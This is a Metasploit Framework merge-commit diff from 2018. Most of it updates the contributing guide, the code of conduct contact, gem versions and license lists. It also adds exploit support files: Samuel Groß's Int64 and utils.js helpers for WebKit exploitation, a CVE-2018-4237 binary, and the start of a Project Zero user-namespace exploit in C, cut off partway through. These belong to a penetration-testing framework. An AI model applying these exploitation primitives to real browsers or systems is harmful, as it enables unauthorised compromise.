Merge branch 'master' into land-11038-

GSoC/Meterpreter_Web_Console
Brent Cook 2018-12-21 16:31:53 -06:00
commit 9736e8252c
253 changed files with 13304 additions and 3199 deletions

View File

@ -37,7 +37,7 @@ when an individual is representing the project or its community.
Instances of abusive, harassing, or otherwise unacceptable behavior may be
reported by contacting the project maintainers at msfdev@metasploit.com. If
the incident involves a committer, you may report directly to
egypt@metasploit.com or todb@metasploit.com.
caitlin_condon@rapid7.com or todb@metasploit.com.
All complaints will be reviewed and investigated and will result in a
response that is deemed necessary and appropriate to the circumstances.

View File

@ -1,82 +1,54 @@
# Hello, World!
Thanks for your interest in making Metasploit -- and therefore, the
world -- a better place!
Are you about to report a bug? Sorry to hear it. Here's our [Issue tracker].
Please try to be as specific as you can about your problem; include steps
to reproduce (cut and paste from your console output if it's helpful) and
what you were expecting to happen.
Are you about to report a security vulnerability in Metasploit itself?
How ironic! Please take a look at Rapid7's [Vulnerability
Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send
your report to security@rapid7.com using our [PGP key].
Are you about to contribute some new functionality, a bug fix, or a new
Metasploit module? If so, read on...
world -- a better place! Before you get started, review our
[Code of Conduct]. There are mutliple ways to help beyond just writing code:
- [Submit bugs and feature requests] with detailed information about your issue or idea.
- [Help fellow users with open issues] or [help fellow committers test recent pull requests].
- [Report a security vulnerability in Metasploit itself] to Rapid7.
- Submit an updated or brand new module! We are always eager for exploits, scanners, and new
integrations or features. Don't know where to start? Set up a [development environment], then head over to ExploitDB to look for [proof-of-concept exploits] that might make a good module.
# Contributing to Metasploit
What you see here in CONTRIBUTING.md is a bullet point list of the do's
and don'ts of how to make sure *your* valuable contributions actually
make it into Metasploit's master branch.
If you care not to follow these rules, your contribution **will** be
closed. Sorry!
This is intended to be a **short** list. The [wiki] is much more
exhaustive and reveals many mysteries. If you read nothing else, take a
look at the standard [development environment setup] guide
and Metasploit's [Common Coding Mistakes].
Here's a short list of do's and don'ts to make sure *your* valuable contributions actually make
it into Metasploit's master branch. If you do not care to follow these rules, your contribution
**will** be closed. Sorry!
## Code Contributions
* **Do** stick to the [Ruby style guide].
* **Do** get [Rubocop] relatively quiet against the code you are adding or modifying.
* **Do** stick to the [Ruby style guide] and use [Rubocop] to find common style issues.
* **Do** follow the [50/72 rule] for Git commit messages.
* **Don't** use the default merge messages when merging from other branches.
* **Do** license your code as BSD 3-clause, BSD 2-clause, or MIT.
* **Do** create a [topic branch] to work on instead of working directly on `master`.
If you do not send a PR from a topic branch, the history of your PR will be
lost as soon as you update your own master branch. See
https://github.com/rapid7/metasploit-framework/pull/8000 for an example of
this in action.
* **Do** create a [topic branch] to work on instead of working directly on `master` to preserve the
history of your pull request. See [PR#8000] for an example of losing commit history as soon as
you update your own master branch.
### Pull Requests
* **Do** target your pull request to the **master branch**. Not staging, not develop, not release.
* **Do** target your pull request to the **master branch**.
* **Do** specify a descriptive title to make searching for your pull request easier.
* **Do** include [console output], especially for witnessable effects in `msfconsole`.
* **Do** list [verification steps] so your code is testable.
* **Do** [reference associated issues] in your pull request description.
* **Do** write [release notes] once a pull request is landed.
* **Don't** leave your pull request description blank.
* **Don't** abandon your pull request. Being responsive helps us land your code faster.
Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
Pull request [PR#9966] is a good example to follow.
#### New Modules
* **Do** run `tools/dev/msftidy.rb` against your module and fix any errors or warnings that come up.
- It would be even better to set up `msftidy.rb` as a [pre-commit hook].
* **Do** use the many module mixin [API]s. Wheel improvements are welcome; wheel reinventions, not so much.
* **Do** set up `msftidy` to fix any errors or warnings that come up as a [pre-commit hook].
* **Do** use the many module mixin [API]s.
* **Don't** include more than one module per pull request.
* **Do** include instructions on how to setup the vulnerable environment or software.
* **Do** include [Module Documentation](https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation) showing sample run-throughs.
#### Scripts
* **Don't** submit new [scripts]. Scripts are shipped as examples for
automating local tasks, and anything "serious" can be done with post
modules and local exploits.
* **Do** include [Module Documentation] showing sample run-throughs.
* **Don't** submit new [scripts]. Scripts are shipped as examples for automating local tasks, and
anything "serious" can be done with post modules and local exploits.
#### Library Code
* **Do** write [RSpec] tests - even the smallest change in library land can thoroughly screw things up.
* **Do** write [RSpec] tests - even the smallest change in a library can break existing code.
* **Do** follow [Better Specs] - it's like the style guide for specs.
* **Do** write [YARD] documentation - this makes it easier for people to use your code.
* **Don't** fix a lot of things in one pull request. Small fixes are easier to validate.
@ -84,44 +56,46 @@ Pull requests [PR#2940] and [PR#3043] are a couple good examples to follow.
#### Bug Fixes
* **Do** include reproduction steps in the form of verification steps.
* **Do** include a link to any corresponding [Issues] in the format of
`See #1234` in your commit description.
* **Do** link to any corresponding [Issues] in the format of `See #1234` in your commit description.
## Bug Reports
* **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com.
Please report vulnerabilities in Rapid7 software directly to security@rapid7.com. For more on our disclosure policy and Rapid7's approach to coordinated disclosure, [head over here](https://www.rapid7.com/security).
When reporting Metasploit issues:
* **Do** write a detailed description of your bug and use a descriptive title.
* **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug.
* **Do** include reproduction steps, stack traces, and anything that might help us fix your bug.
* **Don't** file duplicate reports; search for your bug before filing a new report.
If you need some more guidance, talk to the main body of open
source contributors over on the [Freenode IRC channel],
or e-mail us at the [metasploit-hackers] mailing list.
If you need some more guidance, talk to the main body of open source contributors over on our
[Metasploit Slack] or [#metasploit on Freenode IRC].
Also, **thank you** for taking the few moments to read this far! You're
already way ahead of the curve, so keep it up!
Finally, **thank you** for taking the few moments to read this far! You're already way ahead of the
curve, so keep it up!
[Issue Tracker]:http://r-7.co/MSF-BUGv1
[PGP key]:http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D
[wiki]:https://github.com/rapid7/metasploit-framework/wiki
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[development environment setup]:http://r-7.co/MSF-DEV
[Common Coding Mistakes]:https://github.com/rapid7/metasploit-framework/wiki/Common-Metasploit-Module-Coding-Mistakes
[Code of Conduct]:https://github.com/rapid7/metasploit-framework/wiki/CODE_OF_CONDUCT.md
[Submit bugs and feature requests]:http://r-7.co/MSF-BUGv1
[Help fellow users with open issues]:https://github.com/rapid7/metasploit-framework/issues
[help fellow committers test recently submitted pull requests]:https://github.com/rapid7/metasploit-framework/pulls
[Report a security vulnerability in Metasploit itself]:https://www.rapid7.com/disclosure.jsp
[development environment]:http://r-7.co/MSF-DEV
[proof-of-concept exploits]:https://www.exploit-db.com/search?verified=true&hasapp=true&nomsf=true
[Ruby style guide]:https://github.com/bbatsov/ruby-style-guide
[Rubocop]:https://rubygems.org/search?query=rubocop
[50/72 rule]:http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html
[topic branch]:http://git-scm.com/book/en/Git-Branching-Branching-Workflows#Topic-Branches
[PR#8000]:https://github.com/rapid7/metasploit-framework/pull/8000
[console output]:https://help.github.com/articles/github-flavored-markdown#fenced-code-blocks
[verification steps]:https://help.github.com/articles/writing-on-github#task-lists
[reference associated issues]:https://github.com/blog/1506-closing-issues-via-pull-requests
[release notes]:https://github.com/rapid7/metasploit-framework/wiki/Adding-Release-Notes-to-PRs
[PR#2940]:https://github.com/rapid7/metasploit-framework/pull/2940
[PR#3043]:https://github.com/rapid7/metasploit-framework/pull/3043
[PR#9966]:https://github.com/rapid7/metasploit-framework/pull/9966
[pre-commit hook]:https://github.com/rapid7/metasploit-framework/blob/master/tools/dev/pre-commit-hook.rb
[API]:https://rapid7.github.io/metasploit-framework/api
[Module Documentation]:https://github.com/rapid7/metasploit-framework/wiki/Generating-Module-Documentation
[scripts]:https://github.com/rapid7/metasploit-framework/tree/master/scripts
[RSpec]:http://rspec.info
[Better Specs]:http://betterspecs.org
[YARD]:http://yardoc.org
[Issues]:https://github.com/rapid7/metasploit-framework/issues
[Freenode IRC channel]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4
[metasploit-hackers]:https://groups.google.com/forum/#!forum/metasploit-hackers
[Metasploit Slack]:https://www.metasploit.com/slack
[#metasploit on Freenode IRC]:http://webchat.freenode.net/?channels=%23metasploit&uio=d4

View File

@ -21,9 +21,9 @@ PATH
metasploit-concern
metasploit-credential
metasploit-model
metasploit-payloads (= 1.3.53)
metasploit-payloads (= 1.3.57)
metasploit_data_models
metasploit_payloads-mettle (= 0.4.2)
metasploit_payloads-mettle (= 0.5.0)
mqtt
msgpack
nessus_rest
@ -81,27 +81,27 @@ GEM
remote: https://rubygems.org/
specs:
Ascii85 (1.0.3)
actionpack (4.2.10)
actionview (= 4.2.10)
activesupport (= 4.2.10)
actionpack (4.2.11)
actionview (= 4.2.11)
activesupport (= 4.2.11)
rack (~> 1.6)
rack-test (~> 0.6.2)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.2)
actionview (4.2.10)
activesupport (= 4.2.10)
actionview (4.2.11)
activesupport (= 4.2.11)
builder (~> 3.1)
erubis (~> 2.7.0)
rails-dom-testing (~> 1.0, >= 1.0.5)
rails-html-sanitizer (~> 1.0, >= 1.0.3)
activemodel (4.2.10)
activesupport (= 4.2.10)
activemodel (4.2.11)
activesupport (= 4.2.11)
builder (~> 3.1)
activerecord (4.2.10)
activemodel (= 4.2.10)
activesupport (= 4.2.10)
activerecord (4.2.11)
activemodel (= 4.2.11)
activesupport (= 4.2.11)
arel (~> 6.0)
activesupport (4.2.10)
activesupport (4.2.11)
i18n (~> 0.7)
minitest (~> 5.1)
thread_safe (~> 0.3, >= 0.3.4)
@ -122,7 +122,7 @@ GEM
concurrent-ruby (1.0.5)
cookiejar (0.3.3)
crass (1.0.4)
daemons (1.2.6)
daemons (1.3.1)
diff-lcs (1.3)
dnsruby (1.61.2)
addressable (~> 2.5)
@ -145,7 +145,7 @@ GEM
railties (>= 3.0.0)
faker (1.9.1)
i18n (>= 0.7)
faraday (0.15.3)
faraday (0.15.4)
multipart-post (>= 1.2, < 3)
filesize (0.2.0)
fivemat (1.3.7)
@ -164,7 +164,7 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-credential (3.0.1)
metasploit-credential (3.0.2)
metasploit-concern
metasploit-model
metasploit_data_models (>= 3.0.0)
@ -178,8 +178,8 @@ GEM
activemodel (~> 4.2.6)
activesupport (~> 4.2.6)
railties (~> 4.2.6)
metasploit-payloads (1.3.53)
metasploit_data_models (3.0.1)
metasploit-payloads (1.3.57)
metasploit_data_models (3.0.2)
activerecord (~> 4.2.6)
activesupport (~> 4.2.6)
arel-helpers
@ -189,9 +189,9 @@ GEM
postgres_ext
railties (~> 4.2.6)
recog (~> 2.0)
metasploit_payloads-mettle (0.4.2)
metasploit_payloads-mettle (0.5.0)
method_source (0.9.2)
mini_portile2 (2.3.0)
mini_portile2 (2.4.0)
minitest (5.11.3)
mqtt (0.5.0)
msgpack (1.2.4)
@ -200,8 +200,8 @@ GEM
net-ssh (5.0.2)
network_interface (0.0.2)
nexpose (7.2.1)
nokogiri (1.8.5)
mini_portile2 (~> 2.3.0)
nokogiri (1.9.1)
mini_portile2 (~> 2.4.0)
octokit (4.13.0)
sawyer (~> 0.8.0, >= 0.5.3)
openssl-ccm (1.2.1)
@ -210,7 +210,7 @@ GEM
pcaprub
patch_finder (1.0.2)
pcaprub (0.13.0)
pdf-reader (2.1.0)
pdf-reader (2.2.0)
Ascii85 (~> 1.0.0)
afm (~> 0.2.1)
hashery (~> 2.0)
@ -239,14 +239,14 @@ GEM
rails-deprecated_sanitizer (>= 1.0.1)
rails-html-sanitizer (1.0.4)
loofah (~> 2.2, >= 2.2.2)
railties (4.2.10)
actionpack (= 4.2.10)
activesupport (= 4.2.10)
railties (4.2.11)
actionpack (= 4.2.11)
activesupport (= 4.2.11)
rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0)
rake (12.3.1)
rake (12.3.2)
rb-readline (0.5.5)
recog (2.1.34)
recog (2.1.37)
nokogiri
redcarpet (3.4.0)
rex-arch (0.1.13)
@ -262,7 +262,7 @@ GEM
metasm
rex-arch
rex-text
rex-exploitation (0.1.19)
rex-exploitation (0.1.20)
jsobfu
metasm
rex-arch
@ -349,7 +349,7 @@ GEM
rack (>= 1, < 3)
thor (0.20.3)
thread_safe (0.3.6)
tilt (2.0.8)
tilt (2.0.9)
timecop (0.9.1)
ttfunk (1.5.1)
tzinfo (1.2.5)
@ -384,4 +384,4 @@ DEPENDENCIES
yard
BUNDLED WITH
1.17.1
1.16.6

View File

@ -71,10 +71,6 @@ Files: lib/anemone.rb lib/anemone/*
Copyright: 2009 Vertive, Inc.
License: MIT
Files: lib/metasm.rb lib/metasm/* data/cpuinfo/*
Copyright: 2006-2010 Yoann GUILLOT
License: LGPL-2.1
Files: lib/msf/core/modules/external/python/async_timeout/*
Copyright: 2016-2017 Andrew Svetlov
License: Apache 2.0

View File

@ -1,135 +1,137 @@
This file is auto-generated by tools/dev/update_gem_licenses.sh
Ascii85, 1.0.3, MIT
actionpack, 4.2.10, MIT
actionview, 4.2.10, MIT
activemodel, 4.2.10, MIT
activerecord, 4.2.10, MIT
activesupport, 4.2.10, MIT
actionpack, 4.2.11, MIT
actionview, 4.2.11, MIT
activemodel, 4.2.11, MIT
activerecord, 4.2.11, MIT
activesupport, 4.2.11, MIT
addressable, 2.5.2, "Apache 2.0"
afm, 0.2.2, MIT
arel, 6.0.4, MIT
arel-helpers, 2.6.1, MIT
backports, 3.11.1, MIT
bcrypt, 3.1.11, MIT
arel-helpers, 2.8.0, MIT
backports, 3.11.4, MIT
bcrypt, 3.1.12, MIT
bcrypt_pbkdf, 1.0.0, MIT
bindata, 2.4.3, ruby
bindata, 2.4.4, ruby
bit-struct, 0.16, ruby
builder, 3.2.3, MIT
bundler, 1.16.1, MIT
bundler, 1.12.5, MIT
coderay, 1.1.2, MIT
concurrent-ruby, 1.0.5, MIT
crass, 1.0.3, MIT
cookiejar, 0.3.3, unknown
crass, 1.0.4, MIT
daemons, 1.3.1, MIT
diff-lcs, 1.3, "MIT, Artistic-2.0, GPL-2.0+"
dnsruby, 1.60.2, "Apache 2.0"
docile, 1.3.0, MIT
dnsruby, 1.61.2, "Apache 2.0"
docile, 1.3.1, MIT
ed25519, 1.2.4, MIT
em-http-request, 1.1.5, MIT
em-socksify, 0.3.2, MIT
erubis, 2.7.0, MIT
factory_bot, 4.8.2, MIT
factory_bot_rails, 4.8.2, MIT
faker, 1.8.7, MIT
faraday, 0.14.0, MIT
filesize, 0.1.1, MIT
fivemat, 1.3.6, MIT
google-protobuf, 3.5.1, "New BSD"
googleapis-common-protos-types, 1.0.1, "Apache 2.0"
googleauth, 0.6.2, "Apache 2.0"
grpc, 1.8.3, "Apache 2.0"
eventmachine, 1.2.7, "ruby, GPL-2.0"
factory_bot, 4.11.1, MIT
factory_bot_rails, 4.11.1, MIT
faker, 1.9.1, MIT
faraday, 0.15.4, MIT
filesize, 0.2.0, MIT
fivemat, 1.3.7, MIT
hashery, 2.1.2, "Simplified BSD"
http_parser.rb, 0.6.0, MIT
i18n, 0.9.5, MIT
jsobfu, 0.4.2, "New BSD"
json, 2.1.0, ruby
jwt, 2.1.0, MIT
little-plugger, 1.1.4, MIT
logging, 2.2.2, MIT
loofah, 2.2.0, MIT
memoist, 0.16.0, MIT
loofah, 2.2.3, MIT
metasm, 1.0.3, LGPL
metasploit-aggregator, 1.0.0, "New BSD"
metasploit-concern, 2.0.5, "New BSD"
metasploit-credential, 2.0.13, "New BSD"
metasploit-credential, 3.0.2, "New BSD"
metasploit-framework, 5.0.0, "New BSD"
metasploit-model, 2.0.4, "New BSD"
metasploit-payloads, 1.3.31, "3-clause (or ""modified"") BSD"
metasploit_data_models, 2.0.16, "New BSD"
metasploit_payloads-mettle, 0.3.7, "3-clause (or ""modified"") BSD"
method_source, 0.9.0, MIT
mini_portile2, 2.3.0, MIT
metasploit-payloads, 1.3.56, "3-clause (or ""modified"") BSD"
metasploit_data_models, 3.0.2, "New BSD"
metasploit_payloads-mettle, 0.5.0, "3-clause (or ""modified"") BSD"
method_source, 0.9.2, MIT
mini_portile2, 2.4.0, MIT
minitest, 5.11.3, MIT
mqtt, 0.5.0, MIT
msgpack, 1.2.4, "Apache 2.0"
multi_json, 1.13.1, MIT
multipart-post, 2.0.0, MIT
nessus_rest, 0.1.6, MIT
net-ssh, 4.2.0, MIT
net-ssh, 5.0.2, MIT
network_interface, 0.0.2, MIT
nexpose, 7.2.0, BSD
nokogiri, 1.8.2, MIT
octokit, 4.8.0, MIT
nexpose, 7.2.1, "New BSD"
nokogiri, 1.9.1, MIT
octokit, 4.13.0, MIT
openssl-ccm, 1.2.1, MIT
openvas-omp, 0.0.4, MIT
os, 0.9.6, MIT
packetfu, 1.1.13, BSD
patch_finder, 1.0.2, "New BSD"
pcaprub, 0.12.4, LGPL-2.1
pdf-reader, 2.1.0, MIT
pcaprub, 0.13.0, LGPL-2.1
pdf-reader, 2.2.0, MIT
pg, 0.20.0, "New BSD"
pg_array_parser, 0.0.9, unknown
postgres_ext, 3.0.0, MIT
pry, 0.11.3, MIT
public_suffix, 3.0.2, MIT
rack, 1.6.9, MIT
postgres_ext, 3.0.1, MIT
pry, 0.12.2, MIT
public_suffix, 3.0.3, MIT
rack, 1.6.11, MIT
rack-protection, 1.5.5, MIT
rack-test, 0.6.3, MIT
rails-deprecated_sanitizer, 1.0.3, MIT
rails-dom-testing, 1.0.9, MIT
rails-html-sanitizer, 1.0.3, MIT
railties, 4.2.10, MIT
rake, 12.3.0, MIT
rails-html-sanitizer, 1.0.4, MIT
railties, 4.2.11, MIT
rake, 12.3.2, MIT
rb-readline, 0.5.5, BSD
recog, 2.1.18, unknown
recog, 2.1.37, unknown
redcarpet, 3.4.0, MIT
rex-arch, 0.1.13, "New BSD"
rex-bin_tools, 0.1.4, "New BSD"
rex-bin_tools, 0.1.6, "New BSD"
rex-core, 0.1.13, "New BSD"
rex-encoder, 0.1.4, "New BSD"
rex-exploitation, 0.1.17, "New BSD"
rex-exploitation, 0.1.20, "New BSD"
rex-java, 0.1.5, "New BSD"
rex-mime, 0.1.5, "New BSD"
rex-nop, 0.1.1, "New BSD"
rex-ole, 0.1.6, "New BSD"
rex-powershell, 0.1.77, "New BSD"
rex-powershell, 0.1.79, "New BSD"
rex-random_identifier, 0.1.4, "New BSD"
rex-registry, 0.1.3, "New BSD"
rex-rop_builder, 0.1.3, "New BSD"
rex-socket, 0.1.10, "New BSD"
rex-socket, 0.1.15, "New BSD"
rex-sslscan, 0.1.5, "New BSD"
rex-struct2, 0.1.2, "New BSD"
rex-text, 0.2.17, "New BSD"
rex-text, 0.2.21, "New BSD"
rex-zip, 0.1.3, "New BSD"
rkelly-remix, 0.0.7, MIT
rspec, 3.7.0, MIT
rspec-core, 3.7.1, MIT
rspec-expectations, 3.7.0, MIT
rspec-mocks, 3.7.0, MIT
rspec-rails, 3.7.2, MIT
rspec, 3.8.0, MIT
rspec-core, 3.8.0, MIT
rspec-expectations, 3.8.2, MIT
rspec-mocks, 3.8.0, MIT
rspec-rails, 3.8.1, MIT
rspec-rerun, 1.1.0, MIT
rspec-support, 3.7.1, MIT
ruby-macho, 1.1.0, MIT
rspec-support, 3.8.0, MIT
ruby-macho, 2.1.0, MIT
ruby-rc4, 0.1.5, MIT
ruby_smb, 0.0.23, "New BSD"
ruby_smb, 1.0.5, "New BSD"
rubyntlm, 0.6.2, MIT
rubyzip, 1.2.1, "Simplified BSD"
rubyzip, 1.2.2, "Simplified BSD"
sawyer, 0.8.1, MIT
signet, 0.8.1, "Apache 2.0"
simplecov, 0.16.0, MIT
simplecov, 0.16.1, MIT
simplecov-html, 0.10.2, MIT
sinatra, 1.4.8, MIT
sqlite3, 1.3.13, "New BSD"
sshkey, 1.9.0, MIT
thor, 0.20.0, MIT
swagger-blocks, 2.0.2, MIT
sysrandom, 1.0.5, ISC
thin, 1.7.2, "GPLv2+, Ruby 1.8"
thor, 0.20.3, MIT
thread_safe, 0.3.6, "Apache 2.0"
tilt, 2.0.9, MIT
timecop, 0.9.1, MIT
ttfunk, 1.5.1, "Nonstandard, GPL-2.0, GPL-3.0"
tzinfo, 1.2.5, MIT
tzinfo-data, 1.2018.3, MIT
tzinfo-data, 1.2018.7, MIT
warden, 1.2.7, MIT
windows_error, 0.1.2, BSD
xdr, 2.0.0, "Apache 2.0"
xmlrpc, 0.3.0, ruby
yard, 0.9.12, MIT
yard, 0.9.16, MIT

View File

@ -1,11 +0,0 @@
#!/bin/sh
gcc -o cpuinfo.ia32.bin cpuinfo.c -static -m32 -Wall && \
strip cpuinfo.ia32.bin && \
gcc -o cpuinfo.ia64.bin cpuinfo.c -static -m64 -Wall && \
strip cpuinfo.ia64.bin && \
i586-mingw32msvc-gcc -m32 -static -Wall -o cpuinfo.exe cpuinfo.c && \
strip cpuinfo.exe
ls -la cpuinfo.ia32.bin cpuinfo.ia64.bin cpuinfo.exe

View File

@ -1,64 +0,0 @@
// This is a slightly modified copy of the METASM pe-ia32-cpuid.rb example
/*
#!/usr/bin/env ruby
# This file is part of Metasm, the Ruby assembly manipulation suite
# Copyright (C) 2006-2009 Yoann GUILLOT
#
# Licence is LGPL, see LICENCE in the top-level directory
#
# this sample shows the compilation of a slightly more complex program
# it displays in a messagebox the result of CPUID
#
*/
#include <unistd.h>
#include <stdio.h>
static char *featureinfo[32] = {
"fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8",
"apic", "unk10", "sep", "mtrr", "pge", "mca", "cmov", "pat",
"pse36", "psn", "clfsh", "unk20", "ds", "acpi", "mmx",
"fxsr", "sse", "sse2", "ss", "htt", "tm", "unk30", "pbe"
}, *extendinfo[32] = {
"sse3", "unk1", "unk2", "monitor", "ds-cpl", "unk5-vt", "unk6", "est",
"tm2", "unk9", "cnxt-id", "unk12", "cmpxchg16b", "unk14", "unk15",
"unk16", "unk17", "unk18", "unk19", "unk20", "unk21", "unk22", "unk23",
"unk24", "unk25", "unk26", "unk27", "unk28", "unk29", "unk30", "unk31"
};
#define cpuid(id) __asm__( "cpuid" : "=a"(eax), "=b"(ebx), "=c"(ecx), "=d"(edx) : "a"(id), "b"(0), "c"(0), "d"(0))
#define b(val, base, end) ((val << (31-end)) >> (31-end+base))
int main(void)
{
unsigned long eax, ebx, ecx, edx;
unsigned long i;
cpuid(0);
fprintf(stdout, "VENDOR: %.4s%.4s%.4s\n", (char *)&ebx, (char *)&edx, (char *)&ecx);
cpuid(1);
fprintf(stdout, "MODEL: family=%ld model=%ld stepping=%ld efamily=%ld emodel=%ld ",
b(eax, 8, 11), b(eax, 4, 7), b(eax, 0, 3), b(eax, 20, 27), b(eax, 16, 19));
fprintf(stdout, "brand=%ld cflush sz=%ld*8 nproc=%ld apicid=%ld\n",
b(ebx, 0, 7), b(ebx, 8, 15), b(ebx, 16, 23), b(ebx, 24, 31));
fprintf(stdout, "FLAGS:");
for (i=0 ; i<32 ; i++)
if (edx & (1 << i))
fprintf(stdout, " %s", featureinfo[i]);
for (i=0 ; i<32 ; i++)
if (ecx & (1 << i))
fprintf(stdout, " %s", extendinfo[i]);
fprintf(stdout, "\n");
fflush(stdout);
return 0;
}

Binary file not shown.

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,182 @@
//
// Tiny module that provides big (64bit) integers.
//
// Copyright (c) 2016 Samuel Groß
//
// Requires utils.js
//
// Datatype to represent 64-bit integers.
//
// Internally, the integer is stored as a Uint8Array in little endian byte order.
function Int64(v) {
// The underlying byte array.
var bytes = new Uint8Array(8);
switch (typeof v) {
case 'number':
v = '0x' + Math.floor(v).toString(16);
case 'string':
if (v.startsWith('0x'))
v = v.substr(2);
if (v.length % 2 == 1)
v = '0' + v;
var bigEndian = unhexlify(v, 8);
bytes.set(Array.from(bigEndian).reverse());
break;
case 'object':
if (v instanceof Int64) {
bytes.set(v.bytes());
} else {
if (v.length != 8)
throw TypeError("Array must have excactly 8 elements.");
bytes.set(v);
}
break;
case 'undefined':
break;
default:
throw TypeError("Int64 constructor requires an argument.");
}
// Return a double whith the same underlying bit representation.
this.asDouble = function() {
// Check for NaN
if (bytes[7] == 0xff && (bytes[6] == 0xff || bytes[6] == 0xfe))
throw new RangeError("Integer can not be represented by a double");
return Struct.unpack(Struct.float64, bytes);
};
// Return a javascript value with the same underlying bit representation.
// This is only possible for integers in the range [0x0001000000000000, 0xffff000000000000)
// due to double conversion constraints.
this.asJSValue = function() {
if ((bytes[7] == 0 && bytes[6] == 0) || (bytes[7] == 0xff && bytes[6] == 0xff))
throw new RangeError("Integer can not be represented by a JSValue");
// For NaN-boxing, JSC adds 2^48 to a double value's bit pattern.
this.assignSub(this, 0x1000000000000);
var res = Struct.unpack(Struct.float64, bytes);
this.assignAdd(this, 0x1000000000000);
return res;
};
// Return the underlying bytes of this number as array.
this.bytes = function() {
return Array.from(bytes);
};
// Return the byte at the given index.
this.byteAt = function(i) {
return bytes[i];
};
// Return the value of this number as unsigned hex string.
this.toString = function() {
return '0x' + hexlify(Array.from(bytes).reverse());
};
// Basic arithmetic.
// These functions assign the result of the computation to their 'this' object.
// Decorator for Int64 instance operations. Takes care
// of converting arguments to Int64 instances if required.
function operation(f, nargs) {
return function() {
if (arguments.length != nargs)
throw Error("Not enough arguments for function " + f.name);
for (var i = 0; i < arguments.length; i++)
if (!(arguments[i] instanceof Int64))
arguments[i] = new Int64(arguments[i]);
return f.apply(this, arguments);
};
}
// this = -n (two's complement)
this.assignNeg = operation(function neg(n) {
for (var i = 0; i < 8; i++)
bytes[i] = ~n.byteAt(i);
return this.assignAdd(this, Int64.One);
}, 1);
// this = a + b
this.assignAdd = operation(function add(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) + b.byteAt(i) + carry;
carry = cur > 0xff | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a - b
this.assignSub = operation(function sub(a, b) {
var carry = 0;
for (var i = 0; i < 8; i++) {
var cur = a.byteAt(i) - b.byteAt(i) - carry;
carry = cur < 0 | 0;
bytes[i] = cur;
}
return this;
}, 2);
// this = a ^ b
this.assignXor = operation(function sub(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) ^ b.byteAt(i);
}
return this;
}, 2);
// this = a & b
this.assignAnd = operation(function sub(a, b) {
for (var i = 0; i < 8; i++) {
bytes[i] = a.byteAt(i) & b.byteAt(i);
}
return this;
}, 2)
}
// Constructs a new Int64 instance with the same bit representation as the provided double.
Int64.fromDouble = function(d) {
var bytes = Struct.pack(Struct.float64, d);
return new Int64(bytes);
};
// Convenience functions. These allocate a new Int64 to hold the result.
// Return -n (two's complement)
function Neg(n) {
return (new Int64()).assignNeg(n);
}
// Return a + b
function Add(a, b) {
return (new Int64()).assignAdd(a, b);
}
// Return a - b
function Sub(a, b) {
return (new Int64()).assignSub(a, b);
}
// Return a ^ b
function Xor(a, b) {
return (new Int64()).assignXor(a, b);
}
// Return a & b
function And(a, b) {
return (new Int64()).assignAnd(a, b);
}
// Some commonly used numbers.
Int64.Zero = new Int64(0);
Int64.One = new Int64(1);
// That's all the arithmetic we need for exploiting WebKit.. :)

Binary file not shown.

View File

@ -0,0 +1,78 @@
//
// Utility functions.
//
// Copyright (c) 2016 Samuel Groß
//
// Return the hexadecimal representation of the given byte.
function hex(b) {
return ('0' + b.toString(16)).substr(-2);
}
// Return the hexadecimal representation of the given byte array.
function hexlify(bytes) {
var res = [];
for (var i = 0; i < bytes.length; i++)
res.push(hex(bytes[i]));
return res.join('');
}
// Return the binary data represented by the given hexdecimal string.
function unhexlify(hexstr) {
if (hexstr.length % 2 == 1)
throw new TypeError("Invalid hex string");
var bytes = new Uint8Array(hexstr.length / 2);
for (var i = 0; i < hexstr.length; i += 2)
bytes[i/2] = parseInt(hexstr.substr(i, 2), 16);
return bytes;
}
function hexdump(data) {
if (typeof data.BYTES_PER_ELEMENT !== 'undefined')
data = Array.from(data);
var lines = [];
for (var i = 0; i < data.length; i += 16) {
var chunk = data.slice(i, i+16);
var parts = chunk.map(hex);
if (parts.length > 8)
parts.splice(8, 0, ' ');
lines.push(parts.join(' '));
}
return lines.join('\n');
}
// Simplified version of the similarly named python module.
var Struct = (function() {
// Allocate these once to avoid unecessary heap allocations during pack/unpack operations.
var buffer = new ArrayBuffer(8);
var byteView = new Uint8Array(buffer);
var uint32View = new Uint32Array(buffer);
var float64View = new Float64Array(buffer);
return {
pack: function(type, value) {
var view = type; // See below
view[0] = value;
return new Uint8Array(buffer, 0, type.BYTES_PER_ELEMENT);
},
unpack: function(type, bytes) {
if (bytes.length !== type.BYTES_PER_ELEMENT)
throw Error("Invalid bytearray");
var view = type; // See below
byteView.set(bytes);
return view[0];
},
// Available types.
int8: byteView,
int32: uint32View,
float64: float64View
};
})();

BIN
data/exploits/CVE-2018-4237/ssudo Executable file

Binary file not shown.

Binary file not shown.

View File

@ -0,0 +1,52 @@
// subshell.c
// author: Jann Horn
// source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1712
#define _GNU_SOURCE
#include <unistd.h>
#include <grp.h>
#include <err.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sched.h>
#include <sys/wait.h>
int main() {
int sync_pipe[2];
char dummy;
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sync_pipe)) err(1, "pipe");
pid_t child = fork();
if (child == -1) err(1, "fork");
if (child == 0) {
close(sync_pipe[1]);
if (unshare(CLONE_NEWUSER)) err(1, "unshare userns");
if (write(sync_pipe[0], "X", 1) != 1) err(1, "write to sock");
